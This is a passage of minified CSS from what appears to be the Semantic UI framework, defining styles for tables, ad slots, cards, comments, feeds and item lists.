th.six.wide{width:37.5%}.ui.table td.seven.wide,.ui.table th.seven.wide{width:43.75%}.ui.table td.eight.wide,.ui.table th.eight.wide{width:50%}.ui.table td.nine.wide,.ui.table th.nine.wide{width:56.25%}.ui.table td.ten.wide,.ui.table th.ten.wide{width:62.5%}.ui.table td.eleven.wide,.ui.table th.eleven.wide{width:68.75%}.ui.table td.twelve.wide,.ui.table th.twelve.wide{width:75%}.ui.table td.thirteen.wide,.ui.table th.thirteen.wide{width:81.25%}.ui.table td.fourteen.wide,.ui.table th.fourteen.wide{width:87.5%}.ui.table td.fifteen.wide,.ui.table th.fifteen.wide{width:93.75%}.ui.table td.sixteen.wide,.ui.table th.sixteen.wide{width:100%}.ui.sortable.table thead th{cursor:pointer;white-space:nowrap;border-left:1px solid rgba(34,36,38,.15);color:rgba(0,0,0,.87)}.ui.sortable.table thead th:first-child{border-left:none}.ui.sortable.table thead th.sorted,.ui.sortable.table thead th.sorted:hover{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.ui.sortable.table thead th:after{display:none;font-style:normal;font-weight:400;text-decoration:inherit;content:'';height:1em;width:auto;opacity:.8;margin:0 0 0 .5em;font-family:Icons}.ui.sortable.table thead th.ascending:after{content:'\f0d8'}.ui.sortable.table thead th.descending:after{content:'\f0d7'}.ui.sortable.table th.disabled:hover{cursor:auto;color:rgba(40,40,40,.3)}.ui.sortable.table thead th:hover{background:rgba(0,0,0,.05);color:rgba(0,0,0,.8)}.ui.sortable.table thead th.sorted{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95)}.ui.sortable.table thead th.sorted:after{display:inline-block}.ui.sortable.table thead th.sorted:hover{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95)}.ui.inverted.sortable.table thead th.sorted{background:-webkit-linear-gradient(transparent,rgba(0,0,0,.05)) rgba(255,255,255,.15);background:linear-gradient(transparent,rgba(0,0,0,.05)) rgba(255,255,255,.15);color:#fff}.ui.inverted.sortable.table thead th:hover{background:-webkit-linear-gradient(transparent,rgba(0,0,0,.05)) rgba(255,255,255,.08);background:linear-gradient(transparent,rgba(0,0,0,.05)) rgba(255,255,255,.08);color:#fff}.ui.inverted.sortable.table thead th{border-left-color:transparent;border-right-color:transparent}.ui.inverted.table{background:#333;color:rgba(255,255,255,.9);border:none}.ui.inverted.table th{background-color:rgba(0,0,0,.15);border-color:rgba(255,255,255,.1)!important;color:rgba(255,255,255,.9)}.ui.inverted.table tr td{border-color:rgba(255,255,255,.1)!important}.ui.inverted.table tr td.disabled,.ui.inverted.table tr.disabled td,.ui.inverted.table tr.disabled:hover td,.ui.inverted.table tr:hover td.disabled{pointer-events:none;color:rgba(225,225,225,.3)}.ui.inverted.definition.table tfoot:not(.full-width) th:first-child,.ui.inverted.definition.table thead:not(.full-width) th:first-child{background:#FFF}.ui.inverted.definition.table tr td:first-child{background:rgba(255,255,255,.02);color:#fff}.ui.collapsing.table{width:auto}.ui.basic.table{background:0 0;border:1px solid rgba(34,36,38,.15);box-shadow:none}.ui.basic.table tfoot,.ui.basic.table thead{box-shadow:none}.ui.basic.table th{background:0 0;border-left:none}.ui.basic.table tbody tr{border-bottom:1px solid rgba(0,0,0,.1)}.ui.basic.table td{background:0 0}.ui.basic.striped.table tbody tr:nth-child(2n){background-color:rgba(0,0,0,.05)!important}.ui[class*="very basic"].table{border:none}.ui[class*="very basic"].table:not(.sortable):not(.striped) td,.ui[class*="very basic"].table:not(.sortable):not(.striped) th{padding:''}.ui[class*="very basic"].table:not(.sortable):not(.striped) td:first-child,.ui[class*="very basic"].table:not(.sortable):not(.striped) th:first-child{padding-left:0}.ui[class*="very basic"].table:not(.sortable):not(.striped) td:last-child,.ui[class*="very basic"].table:not(.sortable):not(.striped) th:last-child{padding-right:0}.ui[class*="very basic"].table:not(.sortable):not(.striped) thead tr:first-child th{padding-top:0}.ui.celled.table tr td,.ui.celled.table tr th{border-left:1px solid rgba(34,36,38,.1)}.ui.celled.table tr td:first-child,.ui.celled.table tr th:first-child{border-left:none}.ui.padded.table th{padding-left:1em;padding-right:1em}.ui.padded.table td,.ui.padded.table th{padding:1em}.ui[class*="very padded"].table th{padding-left:1.5em;padding-right:1.5em}.ui[class*="very padded"].table td{padding:1.5em}.ui.compact.table th{padding-left:.7em;padding-right:.7em}.ui.compact.table td{padding:.5em .7em}.ui[class*="very compact"].table th{padding-left:.6em;padding-right:.6em}.ui[class*="very compact"].table td{padding:.4em .6em}.ui.small.table{font-size:.9em}.ui.table{font-size:1em}.ui.large.table{font-size:1.1em}.ui.ad{display:block;overflow:hidden;margin:1em 0}.ui.ad:first-child,.ui.ad:last-child{margin:0}.ui.ad iframe{margin:0;padding:0;border:none;overflow:hidden}.ui.leaderboard.ad{width:728px;height:90px}.ui[class*="medium rectangle"].ad{width:300px;height:250px}.ui[class*="large rectangle"].ad{width:336px;height:280px}.ui[class*="half page"].ad{width:300px;height:600px}.ui.square.ad{width:250px;height:250px}.ui[class*="small square"].ad{width:200px;height:200px}.ui[class*="small rectangle"].ad{width:180px;height:150px}.ui[class*="vertical rectangle"].ad{width:240px;height:400px}.ui.button.ad{width:120px;height:90px}.ui[class*="square button"].ad{width:125px;height:125px}.ui[class*="small button"].ad{width:120px;height:60px}.ui.skyscraper.ad{width:120px;height:600px}.ui[class*="wide skyscraper"].ad{width:160px}.ui.banner.ad{width:468px;height:60px}.ui[class*="vertical banner"].ad{width:120px;height:240px}.ui[class*="top banner"].ad{width:930px;height:180px}.ui[class*="half banner"].ad{width:234px;height:60px}.ui[class*="large leaderboard"].ad{width:970px;height:90px}.ui.billboard.ad{width:970px;height:250px}.ui.panorama.ad{width:980px;height:120px}.ui.netboard.ad{width:580px;height:400px}.ui[class*="large mobile banner"].ad{width:320px;height:100px}.ui[class*="mobile leaderboard"].ad{width:320px;height:50px}.ui.mobile.ad{display:none}@media only screen and (max-width:767px){.ui.mobile.ad{display:block}}.ui.centered.ad{margin-left:auto;margin-right:auto}.ui.test.ad{position:relative;background:#545454}.ui.test.ad:after{position:absolute;top:50%;left:50%;width:100%;text-align:center;-webkit-transform:translateX(-50%) translateY(-50%);-ms-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%);content:'Ad';color:#FFF;font-size:1em;font-weight:700}.ui.mobile.test.ad:after{font-size:.85714286em}.ui.test.ad[data-text]:after{content:attr(data-text)}.ui.card,.ui.cards>.card{max-width:100%;position:relative;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;width:290px;min-height:0;background:#FFF;padding:0;border:none;border-radius:.28571429rem;box-shadow:0 1px 3px 0 #D4D4D5,0 0 0 1px #D4D4D5;-webkit-transition:box-shadow .1s ease,-webkit-transform .1s ease;transition:box-shadow .1s ease,-webkit-transform .1s ease;transition:box-shadow .1s ease,transform .1s ease;transition:box-shadow .1s ease,transform .1s ease,-webkit-transform .1s ease;z-index:''}.ui.card{margin:1em 0}.ui.card a,.ui.cards>.card a{cursor:pointer}.ui.card:first-child{margin-top:0}.ui.card:last-child{margin-bottom:0}.ui.cards{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin:-.875em -.5em;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap}.ui.cards>.card{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin:.875em .5em;float:none}.ui.card:after,.ui.cards:after{display:block;content:' ';height:0;clear:both;overflow:hidden;visibility:hidden}.ui.cards~.ui.cards{margin-top:.875em}.ui.card>:first-child,.ui.cards>.card>:first-child{border-radius:.28571429rem .28571429rem 0 0!important;border-top:none!important}.ui.card>:last-child,.ui.cards>.card>:last-child{border-radius:0 0 .28571429rem .28571429rem!important}.ui.card>:only-child,.ui.cards>.card>:only-child{border-radius:.28571429rem!important}.ui.card>.image,.ui.cards>.card>.image{position:relative;display:block;-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto;padding:0;background:rgba(0,0,0,.05)}.ui.card>.image>img,.ui.cards>.card>.image>img{display:block;width:100%;height:auto;border-radius:inherit}.ui.card>.image:not(.ui)>img,.ui.cards>.card>.image:not(.ui)>img{border:none}.ui.card>.content,.ui.cards>.card>.content{-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;border:none;border-top:1px solid rgba(34,36,38,.1);background:0 0;margin:0;padding:1em;box-shadow:none;font-size:1em;border-radius:0}.ui.card>.content:after,.ui.cards>.card>.content:after{display:block;content:' ';height:0;clear:both;overflow:hidden;visibility:hidden}.ui.card>.content>.header,.ui.cards>.card>.content>.header{display:block;margin:'';color:rgba(0,0,0,.85)}.ui.card>.content>.header:not(.ui),.ui.cards>.card>.content>.header:not(.ui){font-weight:700;font-size:1.28571429em;margin-top:-.21425em;line-height:1.2857em}.ui.card>.content>.header+.description,.ui.card>.content>.meta+.description,.ui.cards>.card>.content>.header+.description,.ui.cards>.card>.content>.meta+.description{margin-top:.5em}.ui.card [class*="left floated"],.ui.cards>.card [class*="left floated"]{float:left}.ui.card [class*="right floated"],.ui.cards>.card [class*="right floated"]{float:right}.ui.card [class*="left aligned"],.ui.cards>.card [class*="left aligned"]{text-align:left}.ui.card [class*="center aligned"],.ui.cards>.card [class*="center aligned"]{text-align:center}.ui.card [class*="right aligned"],.ui.cards>.card [class*="right aligned"]{text-align:right}.ui.card .content img,.ui.cards>.card .content img{display:inline-block;vertical-align:middle;width:''}.ui.card .avatar img,.ui.card img.avatar,.ui.cards>.card .avatar img,.ui.cards>.card img.avatar{width:2em;height:2em;border-radius:500rem}.ui.card>.content>.description,.ui.cards>.card>.content>.description{clear:both;color:rgba(0,0,0,.68)}.ui.card>.content p,.ui.cards>.card>.content p{margin:0 0 .5em}.ui.card>.content p:last-child,.ui.cards>.card>.content p:last-child{margin-bottom:0}.ui.card .meta,.ui.cards>.card .meta{font-size:1em;color:rgba(0,0,0,.4)}.ui.card .meta *,.ui.cards>.card .meta *{margin-right:.3em}.ui.card .meta :last-child,.ui.cards>.card .meta :last-child{margin-right:0}.ui.card .meta [class*="right floated"],.ui.cards>.card .meta [class*="right floated"]{margin-right:0;margin-left:.3em}.ui.card>.content a:not(.ui),.ui.cards>.card>.content a:not(.ui){color:'';-webkit-transition:color .1s ease;transition:color .1s ease}.ui.card>.content a:not(.ui):hover,.ui.cards>.card>.content a:not(.ui):hover{color:''}.ui.card>.content>a.header,.ui.cards>.card>.content>a.header{color:rgba(0,0,0,.85)}.ui.card>.content>a.header:hover,.ui.cards>.card>.content>a.header:hover{color:#1e70bf}.ui.card .meta>a:not(.ui),.ui.cards>.card .meta>a:not(.ui){color:rgba(0,0,0,.4)}.ui.card .meta>a:not(.ui):hover,.ui.cards>.card .meta>a:not(.ui):hover{color:rgba(0,0,0,.87)}.ui.card>.button,.ui.card>.buttons,.ui.cards>.card>.button,.ui.cards>.card>.buttons{margin:0 -1px;width:calc(100% + 2px)}.ui.card .dimmer,.ui.cards>.card .dimmer{background-color:'';z-index:10}.ui.card>.content .star.icon,.ui.cards>.card>.content .star.icon{cursor:pointer;opacity:.75;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.card>.content .star.icon:hover,.ui.cards>.card>.content .star.icon:hover{opacity:1;color:#FFB70A}.ui.card>.content .active.star.icon,.ui.cards>.card>.content .active.star.icon{color:#FFE623}.ui.card>.content .like.icon,.ui.cards>.card>.content .like.icon{cursor:pointer;opacity:.75;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.card>.content .like.icon:hover,.ui.cards>.card>.content .like.icon:hover{opacity:1;color:#FF2733}.ui.card>.content .active.like.icon,.ui.cards>.card>.content .active.like.icon{color:#FF2733}.ui.card>.extra,.ui.cards>.card>.extra{max-width:100%;min-height:0!important;-webkit-box-flex:0;-webkit-flex-grow:0;-ms-flex-positive:0;flex-grow:0;border-top:1px solid rgba(0,0,0,.05)!important;position:static;background:0 0;width:auto;margin:0;padding:.75em 1em;top:0;left:0;color:rgba(0,0,0,.4);box-shadow:none;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.card>.extra a:not(.ui),.ui.cards>.card>.extra a:not(.ui){color:rgba(0,0,0,.4)}.ui.card>.extra a:not(.ui):hover,.ui.cards>.card>.extra a:not(.ui):hover{color:#1e70bf}.ui.link.cards .raised.card:hover,.ui.link.raised.card:hover,.ui.raised.cards a.card:hover,a.ui.raised.card:hover{box-shadow:0 0 0 1px #D4D4D5,0 2px 4px 0 rgba(34,36,38,.15),0 2px 10px 0 rgba(34,36,38,.25)}.ui.raised.card,.ui.raised.cards>.card{box-shadow:0 0 0 1px #D4D4D5,0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)}.ui.centered.cards{-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ui.centered.card{margin-left:auto;margin-right:auto}.ui.fluid.card{width:100%;max-width:9999px}.ui.cards a.card,.ui.link.card,.ui.link.cards .card,a.ui.card{-webkit-transform:none;-ms-transform:none;transform:none}.ui.cards a.card:hover,.ui.link.card:hover,.ui.link.cards .card:hover,a.ui.card:hover{cursor:pointer;z-index:5;background:#FFF;border:none;box-shadow:0 1px 3px 0 #BCBDBD,0 0 0 1px #D4D4D5;-webkit-transform:translateY(-3px);-ms-transform:translateY(-3px);transform:translateY(-3px)}.ui.cards>.red.card,.ui.red.card,.ui.red.cards>.card{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #DB2828,0 1px 3px 0 #D4D4D5}.ui.cards>.red.card:hover,.ui.red.card:hover,.ui.red.cards>.card:hover{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #d01919,0 1px 3px 0 #BCBDBD}.ui.cards>.orange.card,.ui.orange.card,.ui.orange.cards>.card{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #F2711C,0 1px 3px 0 #D4D4D5}.ui.cards>.orange.card:hover,.ui.orange.card:hover,.ui.orange.cards>.card:hover{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #f26202,0 1px 3px 0 #BCBDBD}.ui.cards>.yellow.card,.ui.yellow.card,.ui.yellow.cards>.card{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #FBBD08,0 1px 3px 0 #D4D4D5}.ui.cards>.yellow.card:hover,.ui.yellow.card:hover,.ui.yellow.cards>.card:hover{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #eaae00,0 1px 3px 0 #BCBDBD}.ui.cards>.olive.card,.ui.olive.card,.ui.olive.cards>.card{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #B5CC18,0 1px 3px 0 #D4D4D5}.ui.cards>.olive.card:hover,.ui.olive.card:hover,.ui.olive.cards>.card:hover{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #a7bd0d,0 1px 3px 0 #BCBDBD}.ui.cards>.green.card,.ui.green.card,.ui.green.cards>.card{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #21BA45,0 1px 3px 0 #D4D4D5}.ui.cards>.green.card:hover,.ui.green.card:hover,.ui.green.cards>.card:hover{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #16ab39,0 1px 3px 0 #BCBDBD}.ui.cards>.teal.card,.ui.teal.card,.ui.teal.cards>.card{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #00B5AD,0 1px 3px 0 #D4D4D5}.ui.cards>.teal.card:hover,.ui.teal.card:hover,.ui.teal.cards>.card:hover{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #009c95,0 1px 3px 0 #BCBDBD}.ui.blue.card,.ui.blue.cards>.card,.ui.cards>.blue.card{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #2185D0,0 1px 3px 0 #D4D4D5}.ui.blue.card:hover,.ui.blue.cards>.card:hover,.ui.cards>.blue.card:hover{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #1678c2,0 1px 3px 0 #BCBDBD}.ui.cards>.violet.card,.ui.violet.card,.ui.violet.cards>.card{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #6435C9,0 1px 3px 0 #D4D4D5}.ui.cards>.violet.card:hover,.ui.violet.card:hover,.ui.violet.cards>.card:hover{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #5829bb,0 1px 3px 0 #BCBDBD}.ui.cards>.purple.card,.ui.purple.card,.ui.purple.cards>.card{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #A333C8,0 1px 3px 0 #D4D4D5}.ui.cards>.purple.card:hover,.ui.purple.card:hover,.ui.purple.cards>.card:hover{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #9627ba,0 1px 3px 0 #BCBDBD}.ui.cards>.pink.card,.ui.pink.card,.ui.pink.cards>.card{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #E03997,0 1px 3px 0 #D4D4D5}.ui.cards>.pink.card:hover,.ui.pink.card:hover,.ui.pink.cards>.card:hover{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #e61a8d,0 1px 3px 0 #BCBDBD}.ui.brown.card,.ui.brown.cards>.card,.ui.cards>.brown.card{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #A5673F,0 1px 3px 0 #D4D4D5}.ui.brown.card:hover,.ui.brown.cards>.card:hover,.ui.cards>.brown.card:hover{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #975b33,0 1px 3px 0 #BCBDBD}.ui.cards>.grey.card,.ui.grey.card,.ui.grey.cards>.card{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #767676,0 1px 3px 0 #D4D4D5}.ui.cards>.grey.card:hover,.ui.grey.card:hover,.ui.grey.cards>.card:hover{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #838383,0 1px 3px 0 #BCBDBD}.ui.black.card,.ui.black.cards>.card,.ui.cards>.black.card{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #1B1C1D,0 1px 3px 0 #D4D4D5}.ui.black.card:hover,.ui.black.cards>.card:hover,.ui.cards>.black.card:hover{box-shadow:0 0 0 1px #D4D4D5,0 2px 0 0 #27292a,0 1px 3px 0 #BCBDBD}.ui.one.cards{margin-left:0;margin-right:0}.ui.one.cards>.card{width:100%}.ui.two.cards{margin-left:-1em;margin-right:-1em}.ui.two.cards>.card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.three.cards{margin-left:-1em;margin-right:-1em}.ui.three.cards>.card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}.ui.four.cards{margin-left:-.75em;margin-right:-.75em}.ui.four.cards>.card{width:calc(25% - 1.5em);margin-left:.75em;margin-right:.75em}.ui.five.cards{margin-left:-.75em;margin-right:-.75em}.ui.five.cards>.card{width:calc(20% - 1.5em);margin-left:.75em;margin-right:.75em}.ui.six.cards{margin-left:-.75em;margin-right:-.75em}.ui.six.cards>.card{width:calc(16.66666667% - 1.5em);margin-left:.75em;margin-right:.75em}.ui.seven.cards{margin-left:-.5em;margin-right:-.5em}.ui.seven.cards>.card{width:calc(14.28571429% - 1em);margin-left:.5em;margin-right:.5em}.ui.eight.cards{margin-left:-.5em;margin-right:-.5em}.ui.eight.cards>.card{width:calc(12.5% - 1em);margin-left:.5em;margin-right:.5em;font-size:11px}.ui.nine.cards{margin-left:-.5em;margin-right:-.5em}.ui.nine.cards>.card{width:calc(11.11111111% - 1em);margin-left:.5em;margin-right:.5em;font-size:10px}.ui.ten.cards{margin-left:-.5em;margin-right:-.5em}.ui.ten.cards>.card{width:calc(10% - 1em);margin-left:.5em;margin-right:.5em}@media only screen and (max-width:767px){.ui.two.doubling.cards{margin-left:0;margin-right:0}.ui.two.doubling.cards .card{width:100%;margin-left:0;margin-right:0}.ui.three.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.three.doubling.cards .card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.four.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.four.doubling.cards .card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.five.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.five.doubling.cards .card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.six.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.six.doubling.cards .card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.seven.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.seven.doubling.cards .card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}.ui.eight.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.eight.doubling.cards .card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}.ui.nine.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.nine.doubling.cards .card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}.ui.ten.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.ten.doubling.cards .card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}}@media only screen and (min-width:768px) and (max-width:991px){.ui.two.doubling.cards{margin-left:0;margin-right:0}.ui.two.doubling.cards .card{width:100%;margin-left:0;margin-right:0}.ui.three.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.three.doubling.cards .card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.four.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.four.doubling.cards .card{width:calc(50% - 2em);margin-left:1em;margin-right:1em}.ui.five.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.five.doubling.cards .card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}.ui.six.doubling.cards{margin-left:-1em;margin-right:-1em}.ui.six.doubling.cards .card{width:calc(33.33333333% - 2em);margin-left:1em;margin-right:1em}.ui.eight.doubling.cards{margin-left:-.75em;margin-right:-.75em}.ui.eight.doubling.cards .card{width:calc(25% - 1.5em);margin-left:.75em;margin-right:.75em}.ui.nine.doubling.cards{margin-left:-.75em;margin-right:-.75em}.ui.nine.doubling.cards .card{width:calc(25% - 1.5em);margin-left:.75em;margin-right:.75em}.ui.ten.doubling.cards{margin-left:-.75em;margin-right:-.75em}.ui.ten.doubling.cards .card{width:calc(20% - 1.5em);margin-left:.75em;margin-right:.75em}}@media only screen and (max-width:767px){.ui.stackable.cards{display:block!important}.ui.stackable.cards .card:first-child{margin-top:0!important}.ui.stackable.cards>.card{display:block!important;height:auto!important;margin:1em;padding:0!important;width:calc(100% - 2em)!important}}.ui.cards>.card{font-size:1em}.ui.comments{margin:1.5em 0;max-width:650px}.ui.comments:first-child{margin-top:0}.ui.comments:last-child{margin-bottom:0}.ui.comments .comment{position:relative;background:0 0;margin:.5em 0 0;padding:.5em 0 0;border:none;border-top:none;line-height:1.2}.ui.comments .comment:first-child{margin-top:0;padding-top:0}.ui.comments .comment .comments{margin:0 0 .5em .5em;padding:1em 0 1em 1em}.ui.comments .comment .comments:before{position:absolute;top:0;left:0}.ui.comments .comment .comments .comment{border:none;border-top:none;background:0 0}.ui.comments .comment .avatar{display:block;width:2.5em;height:auto;float:left;margin:.2em 0 0}.ui.comments .comment .avatar img,.ui.comments .comment img.avatar{display:block;margin:0 auto;width:100%;height:100%;border-radius:.25rem}.ui.comments .comment>.content{display:block}.ui.comments .comment>.avatar~.content{margin-left:3.5em}.ui.comments .comment .author{font-size:1em;color:rgba(0,0,0,.87);font-weight:700}.ui.comments .comment a.author{cursor:pointer}.ui.comments .comment a.author:hover{color:#1e70bf}.ui.comments .comment .metadata{display:inline-block;margin-left:.5em;color:rgba(0,0,0,.4);font-size:.875em}.ui.comments .comment .metadata>*{display:inline-block;margin:0 .5em 0 0}.ui.comments .comment .metadata>:last-child{margin-right:0}.ui.comments .comment .text{margin:.25em 0 .5em;font-size:1em;word-wrap:break-word;color:rgba(0,0,0,.87);line-height:1.3}.ui.comments .comment .actions{font-size:.875em}.ui.comments .comment .actions a{cursor:pointer;display:inline-block;margin:0 .75em 0 0;color:rgba(0,0,0,.4)}.ui.comments .comment .actions a:last-child{margin-right:0}.ui.comments .comment .actions a.active,.ui.comments .comment .actions a:hover{color:rgba(0,0,0,.8)}.ui.comments>.reply.form{margin-top:1em}.ui.comments .comment .reply.form{width:100%;margin-top:1em}.ui.comments .reply.form textarea{font-size:1em;height:12em}.ui.collapsed.comments,.ui.comments .collapsed.comment,.ui.comments .collapsed.comments{display:none}.ui.threaded.comments .comment .comments{margin:-1.5em 0 -1em 1.25em;padding:3em 0 2em 2.25em;box-shadow:-1px 0 0 rgba(34,36,38,.15)}.ui.minimal.comments .comment .actions{opacity:0;position:absolute;top:0;right:0;left:auto;-webkit-transition:opacity .2s ease;transition:opacity .2s ease;-webkit-transition-delay:.1s;transition-delay:.1s}.ui.minimal.comments .comment>.content:hover>.actions{opacity:1}.ui.mini.comments{font-size:.78571429rem}.ui.tiny.comments{font-size:.85714286rem}.ui.small.comments{font-size:.9em}.ui.comments{font-size:1em}.ui.large.comments{font-size:1.1em}.ui.big.comments{font-size:1.28571429rem}.ui.huge.comments{font-size:1.2em}.ui.massive.comments{font-size:1.71428571rem}.ui.feed{margin:1em 0}.ui.feed:first-child{margin-top:0}.ui.feed:last-child{margin-bottom:0}.ui.feed>.event{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;width:100%;padding:.21428571rem 0;margin:0;background:0 0;border-top:none}.ui.feed>.event:first-child{border-top:0;padding-top:0}.ui.feed>.event:last-child{padding-bottom:0}.ui.feed>.event>.label{display:block;-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto;width:2.5em;height:auto;-webkit-align-self:stretch;-ms-flex-item-align:stretch;align-self:stretch;text-align:left}.ui.feed>.event>.label .icon{opacity:1;font-size:1.5em;width:100%;padding:.25em;background:0 0;border:none;border-radius:none;color:rgba(0,0,0,.6)}.ui.feed>.event>.label img{width:100%;height:auto;border-radius:500rem}.ui.feed>.event>.label+.content{margin:.5em 0 .35714286em 1.14285714em}.ui.feed>.event>.content{display:block;-webkit-box-flex:1;-webkit-flex:1 1 auto;-ms-flex:1 1 auto;flex:1 1 auto;-webkit-align-self:stretch;-ms-flex-item-align:stretch;align-self:stretch;text-align:left;word-wrap:break-word}.ui.feed>.event:last-child>.content{padding-bottom:0}.ui.feed>.event>.content a{cursor:pointer}.ui.feed>.event>.content .date{margin:-.5rem 0 0;padding:0;font-weight:400;font-size:1em;font-style:normal;color:rgba(0,0,0,.4)}.ui.feed>.event>.content .summary{margin:0;font-size:1em;font-weight:700;color:rgba(0,0,0,.87)}.ui.feed>.event>.content .summary img{display:inline-block;width:auto;height:10em;margin:-.25em .25em 0 0;border-radius:.25em;vertical-align:middle}.ui.feed>.event>.content .user{display:inline-block;font-weight:700;margin-right:0;vertical-align:baseline}.ui.feed>.event>.content .user img{margin:-.25em .25em 0 0;width:auto;height:10em;vertical-align:middle}.ui.feed>.event>.content .summary>.date{display:inline-block;float:none;font-weight:400;font-size:.85714286em;font-style:normal;margin:0 0 0 .5em;padding:0;color:rgba(0,0,0,.4)}.ui.feed>.event>.content .extra{margin:.5em 0 0;background:0 0;padding:0;color:rgba(0,0,0,.87)}.ui.feed>.event>.content .extra.images img{display:inline-block;margin:0 .25em 0 0;width:6em}.ui.feed>.event>.content .extra.text{padding:0;border-left:none;font-size:1em;max-width:500px;line-height:1.4285em}.ui.feed>.event>.content .meta{display:inline-block;font-size:.85714286em;margin:.5em 0 0;background:0 0;border:none;border-radius:0;box-shadow:none;padding:0;color:rgba(0,0,0,.6)}.ui.feed>.event>.content .meta>*{position:relative;margin-left:.75em}.ui.feed>.event>.content .meta>:after{content:'';color:rgba(0,0,0,.2);top:0;left:-1em;opacity:1;position:absolute;vertical-align:top}.ui.feed>.event>.content .meta .like{color:'';-webkit-transition:.2s color ease;transition:.2s color ease}.ui.feed>.event>.content .meta .like:hover .icon{color:#FF2733}.ui.feed>.event>.content .meta .active.like .icon{color:#EF404A}.ui.feed>.event>.content .meta>:first-child{margin-left:0}.ui.feed>.event>.content .meta>:first-child::after{display:none}.ui.feed>.event>.content .meta a,.ui.feed>.event>.content .meta>.icon{cursor:pointer;opacity:1;color:rgba(0,0,0,.5);-webkit-transition:color .1s ease;transition:color .1s ease}.ui.feed>.event>.content .meta a:hover,.ui.feed>.event>.content .meta a:hover .icon,.ui.feed>.event>.content .meta>.icon:hover{color:rgba(0,0,0,.95)}.ui.small.feed{font-size:.92857143rem}.ui.feed{font-size:1rem}.ui.large.feed{font-size:1.14285714rem}.ui.items>.item{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin:1em 0;width:100%;min-height:0;background:0 0;padding:0;border:none;border-radius:0;box-shadow:none;-webkit-transition:box-shadow .1s ease;transition:box-shadow .1s ease;z-index:''}.ui.items>.item a{cursor:pointer}.ui.items{margin:1.5em 0}.ui.items:first-child{margin-top:0!important}.ui.items:last-child{margin-bottom:0!important}.ui.items>.item:after{display:block;content:' ';height:0;clear:both;overflow:hidden;visibility:hidden}.ui.items>.item:first-child{margin-top:0}.ui.items>.item:last-child{margin-bottom:0}.ui.items>.item>.image{position:relative;-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 